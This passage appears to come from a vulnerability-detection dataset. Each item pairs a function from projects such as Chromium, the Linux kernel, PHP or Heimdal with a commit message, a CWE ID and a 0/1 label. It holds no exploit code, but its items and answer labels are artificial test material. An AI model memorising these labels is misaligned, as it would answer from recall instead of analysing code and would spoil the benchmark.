return framebuffer->GetColorAttachmentFormat();
} else if (offscreen_target_frame_buffer_.get()) {
return offscreen_target_color_format_;
} else {
return back_buffer_color_format_;
}
}
Commit Message: Always write data to new buffer in SimulateAttrib0
This is to work around linux nvidia driver bug.
TEST=asan
BUG=118970
Review URL: http://codereview.chromium.org/10019003
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@131538 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID:
| 0
| 108,997
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void SyncBackendHost::InitCore(const DoInitializeOptions& options) {
sync_thread_.message_loop()->PostTask(FROM_HERE,
base::Bind(&SyncBackendHost::Core::DoInitialize, core_.get(), options));
}
Commit Message: [Sync] Cleanup all tab sync enabling logic now that its on by default.
BUG=none
TEST=
Review URL: https://chromiumcodereview.appspot.com/10443046
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@139462 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-362
| 0
| 104,858
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void broadcast_packet(const node_t *from, vpn_packet_t *packet) {
avl_node_t *node;
connection_t *c;
node_t *n;
if(from != myself)
send_packet(myself, packet);
if(tunnelserver || broadcast_mode == BMODE_NONE)
return;
ifdebug(TRAFFIC) logger(LOG_INFO, "Broadcasting packet of %d bytes from %s (%s)",
packet->len, from->name, from->hostname);
switch(broadcast_mode) {
case BMODE_MST:
for(node = connection_tree->head; node; node = node->next) {
c = node->data;
if(c->status.active && c->status.mst && c != from->nexthop->connection)
send_packet(c->node, packet);
}
break;
case BMODE_DIRECT:
if(from != myself)
break;
for(node = node_udp_tree->head; node; node = node->next) {
n = node->data;
if(n->status.reachable && ((n->via == myself && n->nexthop == n) || n->via == n))
send_packet(n, packet);
}
break;
default:
break;
}
}
Commit Message: Drop packets forwarded via TCP if they are too big (CVE-2013-1428).
Normally all requests sent via the meta connections are checked so that they
cannot be larger than the input buffer. However, when packets are forwarded via
meta connections, they are copied into a packet buffer without checking whether
it fits into it. Since the packet buffer is allocated on the stack, this in
effect allows an authenticated remote node to cause a stack overflow.
This issue was found by Martin Schobert.
CWE ID: CWE-119
| 0
| 33,580
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void btif_dm_ble_auth_cmpl_evt (tBTA_DM_AUTH_CMPL *p_auth_cmpl)
{
/* Save link key, if not temporary */
bt_bdaddr_t bd_addr;
bt_status_t status = BT_STATUS_FAIL;
bt_bond_state_t state = BT_BOND_STATE_NONE;
bdcpy(bd_addr.address, p_auth_cmpl->bd_addr);
if ( (p_auth_cmpl->success == TRUE) && (p_auth_cmpl->key_present) )
{
/* store keys */
}
if (p_auth_cmpl->success)
{
status = BT_STATUS_SUCCESS;
state = BT_BOND_STATE_BONDED;
int addr_type;
bt_bdaddr_t bdaddr;
bdcpy(bdaddr.address, p_auth_cmpl->bd_addr);
if (btif_storage_get_remote_addr_type(&bdaddr, &addr_type) != BT_STATUS_SUCCESS)
btif_storage_set_remote_addr_type(&bdaddr, p_auth_cmpl->addr_type);
/* Test for temporary bonding */
if (btm_get_bond_type_dev(p_auth_cmpl->bd_addr) == BOND_TYPE_TEMPORARY) {
BTIF_TRACE_DEBUG("%s: sending BT_BOND_STATE_NONE for Temp pairing",
__func__);
btif_storage_remove_bonded_device(&bdaddr);
state = BT_BOND_STATE_NONE;
} else {
btif_dm_save_ble_bonding_keys();
BTA_GATTC_Refresh(bd_addr.address);
btif_dm_get_remote_services_by_transport(&bd_addr, BTA_GATT_TRANSPORT_LE);
}
}
else
{
/*Map the HCI fail reason to bt status */
switch (p_auth_cmpl->fail_reason)
{
case BTA_DM_AUTH_SMP_PAIR_AUTH_FAIL:
case BTA_DM_AUTH_SMP_CONFIRM_VALUE_FAIL:
btif_dm_remove_ble_bonding_keys();
status = BT_STATUS_AUTH_FAILURE;
break;
case BTA_DM_AUTH_SMP_PAIR_NOT_SUPPORT:
status = BT_STATUS_AUTH_REJECTED;
break;
default:
btif_dm_remove_ble_bonding_keys();
status = BT_STATUS_FAIL;
break;
}
}
bond_state_changed(status, &bd_addr, state);
}
Commit Message: DO NOT MERGE Fix potential DoS caused by delivering signal to BT process
Bug: 28885210
Change-Id: I63866d894bfca47464d6e42e3fb0357c4f94d360
Conflicts:
btif/co/bta_hh_co.c
btif/src/btif_core.c
Merge conflict resolution of ag/1161415 (referencing ag/1164670)
- Directly into mnc-mr2-release
CWE ID: CWE-284
| 0
| 158,571
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: PHP_FUNCTION(stream_filter_remove)
{
zval *zfilter;
php_stream_filter *filter;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "r", &zfilter) == FAILURE) {
RETURN_FALSE;
}
filter = zend_fetch_resource(&zfilter TSRMLS_CC, -1, NULL, NULL, 1, php_file_le_stream_filter());
if (!filter) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid resource given, not a stream filter");
RETURN_FALSE;
}
if (php_stream_filter_flush(filter, 1) == FAILURE) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to flush filter, not removing");
RETURN_FALSE;
}
if (zend_list_delete(Z_LVAL_P(zfilter)) == FAILURE) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Could not invalidate filter, not removing");
RETURN_FALSE;
} else {
php_stream_filter_remove(filter, 1 TSRMLS_CC);
RETURN_TRUE;
}
}
Commit Message:
CWE ID: CWE-254
| 0
| 15,272
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void UninstallExtension(ExtensionService* service, const std::string& id) {
if (service && service->GetInstalledExtension(id)) {
service->UninstallExtension(id,
extensions::UNINSTALL_REASON_SYNC,
base::Bind(&base::DoNothing),
NULL);
}
}
Commit Message: [Extensions] Add GetInstalledExtension() method to ExtensionRegistry
This CL adds GetInstalledExtension() method to ExtensionRegistry and
uses it instead of deprecated ExtensionService::GetInstalledExtension()
in chrome/browser/ui/app_list/.
Part of removing the deprecated GetInstalledExtension() call
from the ExtensionService.
BUG=489687
Review URL: https://codereview.chromium.org/1130353010
Cr-Commit-Position: refs/heads/master@{#333036}
CWE ID:
| 1
| 171,722
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static inline void ext4_show_quota_options(struct seq_file *seq,
struct super_block *sb)
{
#if defined(CONFIG_QUOTA)
struct ext4_sb_info *sbi = EXT4_SB(sb);
if (sbi->s_jquota_fmt) {
char *fmtname = "";
switch (sbi->s_jquota_fmt) {
case QFMT_VFS_OLD:
fmtname = "vfsold";
break;
case QFMT_VFS_V0:
fmtname = "vfsv0";
break;
case QFMT_VFS_V1:
fmtname = "vfsv1";
break;
}
seq_printf(seq, ",jqfmt=%s", fmtname);
}
if (sbi->s_qf_names[USRQUOTA])
seq_show_option(seq, "usrjquota", sbi->s_qf_names[USRQUOTA]);
if (sbi->s_qf_names[GRPQUOTA])
seq_show_option(seq, "grpjquota", sbi->s_qf_names[GRPQUOTA]);
#endif
}
Commit Message: ext4: fix races between page faults and hole punching
Currently, page faults and hole punching are completely unsynchronized.
This can result in page fault faulting in a page into a range that we
are punching after truncate_pagecache_range() has been called and thus
we can end up with a page mapped to disk blocks that will be shortly
freed. Filesystem corruption will shortly follow. Note that the same
race is avoided for truncate by checking page fault offset against
i_size but there isn't similar mechanism available for punching holes.
Fix the problem by creating new rw semaphore i_mmap_sem in inode and
grab it for writing over truncate, hole punching, and other functions
removing blocks from extent tree and for read over page faults. We
cannot easily use i_data_sem for this since that ranks below transaction
start and we need something ranking above it so that it can be held over
the whole truncate / hole punching operation. Also remove various
workarounds we had in the code to reduce race window when page fault
could have created pages with stale mapping information.
Signed-off-by: Jan Kara <jack@suse.com>
Signed-off-by: Theodore Ts'o <tytso@mit.edu>
CWE ID: CWE-362
| 0
| 56,697
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool RenderFrameDevToolsAgentHost::Close() {
if (web_contents()) {
web_contents()->ClosePage();
return true;
}
return false;
}
Commit Message: [DevTools] Do not allow Page.setDownloadBehavior for extensions
Bug: 866426
Change-Id: I71b672978e1a8ec779ede49da16b21198567d3a4
Reviewed-on: https://chromium-review.googlesource.com/c/1270007
Commit-Queue: Dmitry Gozman <dgozman@chromium.org>
Reviewed-by: Devlin <rdevlin.cronin@chromium.org>
Cr-Commit-Position: refs/heads/master@{#598004}
CWE ID: CWE-20
| 0
| 143,640
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: PaintController::SubsequenceMarkers* PaintController::GetSubsequenceMarkers(
const DisplayItemClient& client) {
auto result = current_cached_subsequences_.find(&client);
if (result == current_cached_subsequences_.end())
return nullptr;
return &result->value;
}
Commit Message: Reland "[CI] Make paint property nodes non-ref-counted"
This reverts commit 887383b30842d9d9006e11bb6932660a3cb5b1b7.
Reason for revert: Retry in M69.
Original change's description:
> Revert "[CI] Make paint property nodes non-ref-counted"
>
> This reverts commit 70fc0b018c9517558b7aa2be00edf2debb449123.
>
> Reason for revert: Caused bugs found by clusterfuzz
>
> Original change's description:
> > [CI] Make paint property nodes non-ref-counted
> >
> > Now all paint property nodes are owned by ObjectPaintProperties
> > (and LocalFrameView temporarily before removing non-RLS mode).
> > Others just use raw pointers or references.
> >
> > Bug: 833496
> > Cq-Include-Trybots: master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2
> > Change-Id: I2d544fe153bb94698623248748df63c8aa2081ae
> > Reviewed-on: https://chromium-review.googlesource.com/1031101
> > Reviewed-by: Tien-Ren Chen <trchen@chromium.org>
> > Commit-Queue: Xianzhu Wang <wangxianzhu@chromium.org>
> > Cr-Commit-Position: refs/heads/master@{#554626}
>
> TBR=wangxianzhu@chromium.org,trchen@chromium.org,chrishtr@chromium.org
>
> Change-Id: I02bb50d6744cb81a797246a0116b677e80a3c69f
> No-Presubmit: true
> No-Tree-Checks: true
> No-Try: true
> Bug: 833496,837932,837943
> Cq-Include-Trybots: master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2
> Reviewed-on: https://chromium-review.googlesource.com/1034292
> Reviewed-by: Xianzhu Wang <wangxianzhu@chromium.org>
> Commit-Queue: Xianzhu Wang <wangxianzhu@chromium.org>
> Cr-Commit-Position: refs/heads/master@{#554653}
TBR=wangxianzhu@chromium.org,trchen@chromium.org,chrishtr@chromium.org
# Not skipping CQ checks because original CL landed > 1 day ago.
Bug: 833496, 837932, 837943
Change-Id: I0b4ef70db1f1f211ba97c30d617225355c750992
Cq-Include-Trybots: master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2
Reviewed-on: https://chromium-review.googlesource.com/1083491
Commit-Queue: Xianzhu Wang <wangxianzhu@chromium.org>
Reviewed-by: Xianzhu Wang <wangxianzhu@chromium.org>
Cr-Commit-Position: refs/heads/master@{#563930}
CWE ID:
| 0
| 125,666
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: select_dh_group(krb5_context context, DH *dh, unsigned long bits,
struct krb5_dh_moduli **moduli)
{
const struct krb5_dh_moduli *m;
if (bits == 0) {
m = moduli[1]; /* XXX */
if (m == NULL)
m = moduli[0]; /* XXX */
} else {
int i;
for (i = 0; moduli[i] != NULL; i++) {
if (bits < moduli[i]->bits)
break;
}
if (moduli[i] == NULL) {
krb5_set_error_message(context, EINVAL,
N_("Did not find a DH group parameter "
"matching requirement of %lu bits", ""),
bits);
return EINVAL;
}
m = moduli[i];
}
dh->p = integer_to_BN(context, "p", &m->p);
if (dh->p == NULL)
return ENOMEM;
dh->g = integer_to_BN(context, "g", &m->g);
if (dh->g == NULL)
return ENOMEM;
dh->q = integer_to_BN(context, "q", &m->q);
if (dh->q == NULL)
return ENOMEM;
return 0;
}
Commit Message: CVE-2019-12098: krb5: always confirm PA-PKINIT-KX for anon PKINIT
RFC8062 Section 7 requires verification of the PA-PKINIT-KX key excahnge
when anonymous PKINIT is used. Failure to do so can permit an active
attacker to become a man-in-the-middle.
Introduced by a1ef548600c5bb51cf52a9a9ea12676506ede19f. First tagged
release Heimdal 1.4.0.
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N (4.8)
Change-Id: I6cc1c0c24985936468af08693839ac6c3edda133
Signed-off-by: Jeffrey Altman <jaltman@auristor.com>
Approved-by: Jeffrey Altman <jaltman@auritor.com>
(cherry picked from commit 38c797e1ae9b9c8f99ae4aa2e73957679031fd2b)
CWE ID: CWE-320
| 0
| 89,979
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void Document::inheritHtmlAndBodyElementStyles(StyleRecalcChange change)
{
ASSERT(inStyleRecalc());
ASSERT(documentElement());
bool didRecalcDocumentElement = false;
RefPtr<ComputedStyle> documentElementStyle = documentElement()->mutableComputedStyle();
if (change == Force)
documentElement()->clearAnimationStyleChange();
if (!documentElementStyle || documentElement()->needsStyleRecalc() || change == Force) {
documentElementStyle = ensureStyleResolver().styleForElement(documentElement());
didRecalcDocumentElement = true;
}
WritingMode rootWritingMode = documentElementStyle->writingMode();
TextDirection rootDirection = documentElementStyle->direction();
HTMLElement* body = this->body();
RefPtr<ComputedStyle> bodyStyle;
if (body) {
bodyStyle = body->mutableComputedStyle();
if (didRecalcDocumentElement)
body->clearAnimationStyleChange();
if (!bodyStyle || body->needsStyleRecalc() || didRecalcDocumentElement)
bodyStyle = ensureStyleResolver().styleForElement(body, documentElementStyle.get());
rootWritingMode = bodyStyle->writingMode();
rootDirection = bodyStyle->direction();
}
const ComputedStyle* backgroundStyle = documentElementStyle.get();
if (isHTMLHtmlElement(documentElement()) && isHTMLBodyElement(body) && !backgroundStyle->hasBackground())
backgroundStyle = bodyStyle.get();
Color backgroundColor = backgroundStyle->visitedDependentColor(CSSPropertyBackgroundColor);
FillLayer backgroundLayers = backgroundStyle->backgroundLayers();
for (auto currentLayer = &backgroundLayers; currentLayer; currentLayer = currentLayer->next()) {
currentLayer->setClip(BorderFillBox);
if (currentLayer->attachment() == ScrollBackgroundAttachment)
currentLayer->setAttachment(LocalBackgroundAttachment);
}
EImageRendering imageRendering = backgroundStyle->imageRendering();
const ComputedStyle* overflowStyle = nullptr;
if (Element* element = viewportDefiningElement(documentElementStyle.get())) {
if (element == body) {
overflowStyle = bodyStyle.get();
} else {
ASSERT(element == documentElement());
overflowStyle = documentElementStyle.get();
if (bodyStyle && !bodyStyle->isOverflowVisible())
UseCounter::count(*this, UseCounter::BodyScrollsInAdditionToViewport);
}
}
if (styleEngine().usesRemUnits() && (documentElement()->needsAttach() || !documentElement()->computedStyle() || documentElement()->computedStyle()->fontSize() != documentElementStyle->fontSize())) {
ensureStyleResolver().invalidateMatchedPropertiesCache();
documentElement()->setNeedsStyleRecalc(SubtreeStyleChange, StyleChangeReasonForTracing::create(StyleChangeReason::FontSizeChange));
}
EOverflow overflowX = OAUTO;
EOverflow overflowY = OAUTO;
float columnGap = 0;
if (overflowStyle) {
overflowX = overflowStyle->overflowX();
overflowY = overflowStyle->overflowY();
if (overflowX == OVISIBLE)
overflowX = OAUTO;
if (overflowY == OVISIBLE)
overflowY = OAUTO;
columnGap = overflowStyle->columnGap();
}
RefPtr<ComputedStyle> documentStyle = layoutView()->mutableStyle();
if (documentStyle->writingMode() != rootWritingMode
|| documentStyle->direction() != rootDirection
|| documentStyle->visitedDependentColor(CSSPropertyBackgroundColor) != backgroundColor
|| documentStyle->backgroundLayers() != backgroundLayers
|| documentStyle->imageRendering() != imageRendering
|| documentStyle->overflowX() != overflowX
|| documentStyle->overflowY() != overflowY
|| documentStyle->columnGap() != columnGap) {
RefPtr<ComputedStyle> newStyle = ComputedStyle::clone(*documentStyle);
newStyle->setWritingMode(rootWritingMode);
newStyle->setDirection(rootDirection);
newStyle->setBackgroundColor(backgroundColor);
newStyle->accessBackgroundLayers() = backgroundLayers;
newStyle->setImageRendering(imageRendering);
newStyle->setOverflowX(overflowX);
newStyle->setOverflowY(overflowY);
newStyle->setColumnGap(columnGap);
layoutView()->setStyle(newStyle);
setupFontBuilder(*newStyle);
}
if (body) {
if (const ComputedStyle* style = body->computedStyle()) {
if (style->direction() != rootDirection || style->writingMode() != rootWritingMode)
body->setNeedsStyleRecalc(SubtreeStyleChange, StyleChangeReasonForTracing::create(StyleChangeReason::WritingModeChange));
}
}
if (const ComputedStyle* style = documentElement()->computedStyle()) {
if (style->direction() != rootDirection || style->writingMode() != rootWritingMode)
documentElement()->setNeedsStyleRecalc(SubtreeStyleChange, StyleChangeReasonForTracing::create(StyleChangeReason::WritingModeChange));
}
}
Commit Message: Change Document::detach() to RELEASE_ASSERT all subframes are gone.
BUG=556724,577105
Review URL: https://codereview.chromium.org/1667573002
Cr-Commit-Position: refs/heads/master@{#373642}
CWE ID: CWE-264
| 0
| 124,409
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int MSLIsStandalone(void *context)
{
MSLInfo
*msl_info;
/*
Is this document tagged standalone?
*/
(void) LogMagickEvent(CoderEvent,GetMagickModule()," SAX.MSLIsStandalone()");
msl_info=(MSLInfo *) context;
return(msl_info->document->standalone == 1);
}
Commit Message: https://github.com/ImageMagick/ImageMagick/issues/636
CWE ID: CWE-772
| 0
| 62,784
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: PepperRendererConnection::~PepperRendererConnection() {}
Commit Message: Validate in-process plugin instance messages.
Bug: 733548, 733549
Cq-Include-Trybots: master.tryserver.chromium.linux:linux_site_isolation
Change-Id: Ie5572c7bcafa05399b09c44425ddd5ce9b9e4cba
Reviewed-on: https://chromium-review.googlesource.com/538908
Commit-Queue: Bill Budge <bbudge@chromium.org>
Reviewed-by: Raymes Khoury <raymes@chromium.org>
Cr-Commit-Position: refs/heads/master@{#480696}
CWE ID: CWE-20
| 0
| 135,580
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int __follow_mount(struct path *path)
{
int res = 0;
while (d_mountpoint(path->dentry)) {
struct vfsmount *mounted = lookup_mnt(path);
if (!mounted)
break;
dput(path->dentry);
if (res)
mntput(path->mnt);
path->mnt = mounted;
path->dentry = dget(mounted->mnt_root);
res = 1;
}
return res;
}
Commit Message: fix autofs/afs/etc. magic mountpoint breakage
We end up trying to kfree() nd.last.name on open("/mnt/tmp", O_CREAT)
if /mnt/tmp is an autofs direct mount. The reason is that nd.last_type
is bogus here; we want LAST_BIND for everything of that kind and we
get LAST_NORM left over from finding parent directory.
So make sure that it *is* set properly; set to LAST_BIND before
doing ->follow_link() - for normal symlinks it will be changed
by __vfs_follow_link() and everything else needs it set that way.
Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
CWE ID: CWE-20
| 0
| 39,662
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: append_text_move(pdf_text_state_t *pts, double dw)
{
int count = pts->buffer.count_moves;
int pos = pts->buffer.count_chars;
double rounded;
if (count > 0 && pts->buffer.moves[count - 1].index == pos) {
/* Merge adjacent moves. */
dw += pts->buffer.moves[--count].amount;
}
/* Round dw if it's very close to an integer. */
rounded = floor(dw + 0.5);
if (fabs(dw - rounded) < 0.001)
dw = rounded;
if (dw < -MAX_USER_COORD) {
/* Acrobat reader 4.0c, 5.0 can't handle big offsets.
Adobe Reader 6 can. */
return -1;
}
if (dw != 0) {
if (count == MAX_TEXT_BUFFER_MOVES)
return -1;
pts->buffer.moves[count].index = pos;
pts->buffer.moves[count].amount = dw;
++count;
}
pts->buffer.count_moves = count;
return 0;
}
Commit Message:
CWE ID: CWE-119
| 0
| 7,754
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void power_pmu_start_txn(struct pmu *pmu)
{
struct cpu_hw_events *cpuhw = &__get_cpu_var(cpu_hw_events);
perf_pmu_disable(pmu);
cpuhw->group_flag |= PERF_EVENT_TXN;
cpuhw->n_txn_start = cpuhw->n_events;
}
Commit Message: perf, powerpc: Handle events that raise an exception without overflowing
Events on POWER7 can roll back if a speculative event doesn't
eventually complete. Unfortunately in some rare cases they will
raise a performance monitor exception. We need to catch this to
ensure we reset the PMC. In all cases the PMC will be 256 or less
cycles from overflow.
Signed-off-by: Anton Blanchard <anton@samba.org>
Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl>
Cc: <stable@kernel.org> # as far back as it applies cleanly
LKML-Reference: <20110309143842.6c22845e@kryten>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
CWE ID: CWE-189
| 0
| 22,704
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: xfs_ioc_getxflags(
xfs_inode_t *ip,
void __user *arg)
{
unsigned int flags;
flags = xfs_di2lxflags(ip->i_d.di_flags);
if (copy_to_user(arg, &flags, sizeof(flags)))
return -EFAULT;
return 0;
}
Commit Message: fs,userns: Change inode_capable to capable_wrt_inode_uidgid
The kernel has no concept of capabilities with respect to inodes; inodes
exist independently of namespaces. For example, inode_capable(inode,
CAP_LINUX_IMMUTABLE) would be nonsense.
This patch changes inode_capable to check for uid and gid mappings and
renames it to capable_wrt_inode_uidgid, which should make it more
obvious what it does.
Fixes CVE-2014-4014.
Cc: Theodore Ts'o <tytso@mit.edu>
Cc: Serge Hallyn <serge.hallyn@ubuntu.com>
Cc: "Eric W. Biederman" <ebiederm@xmission.com>
Cc: Dave Chinner <david@fromorbit.com>
Cc: stable@vger.kernel.org
Signed-off-by: Andy Lutomirski <luto@amacapital.net>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-264
| 0
| 36,922
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: long long Chapters::Atom::GetStopTime(const Chapters* pChapters) const {
return GetTime(pChapters, m_stop_timecode);
}
Commit Message: external/libvpx/libwebm: Update snapshot
Update libwebm snapshot. This update contains security fixes from upstream.
Upstream git hash: 229f49347d19b0ca0941e072b199a242ef6c5f2b
BUG=23167726
Change-Id: Id3e140e7b31ae11294724b1ecfe2e9c83b4d4207
(cherry picked from commit d0281a15b3c6bd91756e453cc9398c5ef412d99a)
CWE ID: CWE-20
| 0
| 160,799
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: gs_dc_get_pattern_id(const gx_device_color *pdevc)
{
if (!(gx_dc_is_pattern1_color(pdevc)))
return gs_no_id;
if (pdevc->colors.pattern.p_tile == NULL)
return gs_no_id;
return pdevc->colors.pattern.p_tile->id;
}
Commit Message:
CWE ID: CWE-704
| 0
| 1,655
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void SyncBackendHost::HandleConnectionStatusChangeOnFrontendLoop(
sync_api::ConnectionStatus status) {
if (!frontend_)
return;
DCHECK_EQ(MessageLoop::current(), frontend_loop_);
frontend_->OnConnectionStatusChange(status);
}
Commit Message: [Sync] Cleanup all tab sync enabling logic now that its on by default.
BUG=none
TEST=
Review URL: https://chromiumcodereview.appspot.com/10443046
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@139462 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-362
| 0
| 104,853
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: ExtensionFunction::ResponseAction TabsHighlightFunction::Run() {
std::unique_ptr<tabs::Highlight::Params> params(
tabs::Highlight::Params::Create(*args_));
EXTENSION_FUNCTION_VALIDATE(params.get());
int window_id = extension_misc::kCurrentWindowId;
if (params->highlight_info.window_id.get())
window_id = *params->highlight_info.window_id;
Browser* browser = NULL;
std::string error;
if (!GetBrowserFromWindowID(this, window_id, &browser, &error))
return RespondNow(Error(error));
TabStripModel* tabstrip = browser->tab_strip_model();
ui::ListSelectionModel selection;
int active_index = -1;
if (params->highlight_info.tabs.as_integers) {
std::vector<int>& tab_indices = *params->highlight_info.tabs.as_integers;
for (size_t i = 0; i < tab_indices.size(); ++i) {
if (!HighlightTab(tabstrip, &selection, &active_index, tab_indices[i],
&error)) {
return RespondNow(Error(error));
}
}
} else {
EXTENSION_FUNCTION_VALIDATE(params->highlight_info.tabs.as_integer);
if (!HighlightTab(tabstrip, &selection, &active_index,
*params->highlight_info.tabs.as_integer, &error)) {
return RespondNow(Error(error));
}
}
if (selection.empty())
return RespondNow(Error(tabs_constants::kNoHighlightedTabError));
selection.set_active(active_index);
browser->tab_strip_model()->SetSelectionFromModel(std::move(selection));
return RespondNow(OneArgument(ExtensionTabUtil::CreateWindowValueForExtension(
*browser, extension(), ExtensionTabUtil::kPopulateTabs)));
}
Commit Message: Call CanCaptureVisiblePage in page capture API.
Currently the pageCapture permission allows access
to arbitrary local files and chrome:// pages which
can be a security concern. In order to address this,
the page capture API needs to be changed similar to
the captureVisibleTab API. The API will now only allow
extensions to capture otherwise-restricted URLs if the
user has granted activeTab. In addition, file:// URLs are
only capturable with the "Allow on file URLs" option enabled.
Bug: 893087
Change-Id: I6d6225a3efb70fc033e2e1c031c633869afac624
Reviewed-on: https://chromium-review.googlesource.com/c/1330689
Commit-Queue: Bettina Dea <bdea@chromium.org>
Reviewed-by: Devlin <rdevlin.cronin@chromium.org>
Reviewed-by: Varun Khaneja <vakh@chromium.org>
Cr-Commit-Position: refs/heads/master@{#615248}
CWE ID: CWE-20
| 0
| 151,523
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int sctp_connect(struct sock *sk, struct sockaddr *addr,
int addr_len)
{
int err = 0;
struct sctp_af *af;
lock_sock(sk);
pr_debug("%s: sk:%p, sockaddr:%p, addr_len:%d\n", __func__, sk,
addr, addr_len);
/* Validate addr_len before calling common connect/connectx routine. */
af = sctp_get_af_specific(addr->sa_family);
if (!af || addr_len < af->sockaddr_len) {
err = -EINVAL;
} else {
/* Pass correct addr len to common routine (so it knows there
* is only one address being passed.
*/
err = __sctp_connect(sk, addr, af->sockaddr_len, NULL);
}
release_sock(sk);
return err;
}
Commit Message: sctp: fix ASCONF list handling
->auto_asconf_splist is per namespace and mangled by functions like
sctp_setsockopt_auto_asconf() which doesn't guarantee any serialization.
Also, the call to inet_sk_copy_descendant() was backuping
->auto_asconf_list through the copy but was not honoring
->do_auto_asconf, which could lead to list corruption if it was
different between both sockets.
This commit thus fixes the list handling by using ->addr_wq_lock
spinlock to protect the list. A special handling is done upon socket
creation and destruction for that. Error handlig on sctp_init_sock()
will never return an error after having initialized asconf, so
sctp_destroy_sock() can be called without addrq_wq_lock. The lock now
will be take on sctp_close_sock(), before locking the socket, so we
don't do it in inverse order compared to sctp_addr_wq_timeout_handler().
Instead of taking the lock on sctp_sock_migrate() for copying and
restoring the list values, it's preferred to avoid rewritting it by
implementing sctp_copy_descendant().
Issue was found with a test application that kept flipping sysctl
default_auto_asconf on and off, but one could trigger it by issuing
simultaneous setsockopt() calls on multiple sockets or by
creating/destroying sockets fast enough. This is only triggerable
locally.
Fixes: 9f7d653b67ae ("sctp: Add Auto-ASCONF support (core).")
Reported-by: Ji Jianwen <jiji@redhat.com>
Suggested-by: Neil Horman <nhorman@tuxdriver.com>
Suggested-by: Hannes Frederic Sowa <hannes@stressinduktion.org>
Acked-by: Hannes Frederic Sowa <hannes@stressinduktion.org>
Signed-off-by: Marcelo Ricardo Leitner <marcelo.leitner@gmail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-362
| 0
| 43,522
|
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